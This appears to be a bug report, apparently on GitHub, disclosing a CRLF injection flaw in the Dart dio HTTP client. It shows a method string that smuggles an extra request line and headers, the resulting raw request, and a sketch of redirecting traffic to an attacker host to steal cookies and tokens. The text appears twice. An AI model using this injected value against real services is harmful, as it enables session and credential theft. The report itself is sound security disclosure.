New Issue Checklist
Issue Info
ENV: Any
Examples generated on:
Dart SDK version: 2.13.0-204.0.dev (dev) (Unknown timestamp) on "linux_x64"
dio version: 4.0.0
Issue Description and Steps
Please consider given snippet:
import 'package:dio/dio.dart';
void main() async {
var dio = Dio();
dio.options.baseUrl = 'http://localhost:1234';
var resp = await dio.request(
'/test',
options: Options(
method: "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
//method: "GET",
),
);
}Generated call looks like
nc -l -p 1234
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /test HTTP/1.1
user-agent: Dart/2.13 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost:1234
Which presents a security issue. Classic CRLF injection.
Vector attack:
If the attacker controls the HTTP method(verb), he can change a call and steal all cookies, session whatever is in a call.
Assuming flow like USER -> FOO -> BAR, where flow between FOO and BAR is internal, mentioned data may leak.
Let's assume I'm replacing example.com with my-hackery-uservice.org and the victim(service) is working in a company behind the proxy. This means I can easily redirect calls with headers/cookies(tokens) and blah blah blah. By doing more advanced CRLF I can remove the requirement for proxy at all.
Expected behavior:
if HTTP method(verb) is invalid, raise error.
New Issue Checklist
Issue Info
ENV: Any
Examples generated on:
Issue Description and Steps
Please consider given snippet:
Generated call looks like
Which presents a security issue. Classic CRLF injection.
Vector attack:
If the attacker controls the HTTP method(verb), he can change a call and steal all cookies, session whatever is in a call.
Assuming flow like
USER->FOO->BAR, where flow betweenFOOandBARis internal, mentioned data may leak.Let's assume I'm replacing example.com with my-hackery-uservice.org and the victim(service) is working in a company behind the proxy. This means I can easily redirect calls with headers/cookies(tokens) and blah blah blah. By doing more advanced CRLF I can remove the requirement for proxy at all.
Expected behavior:
if HTTP method(verb) is invalid, raise error.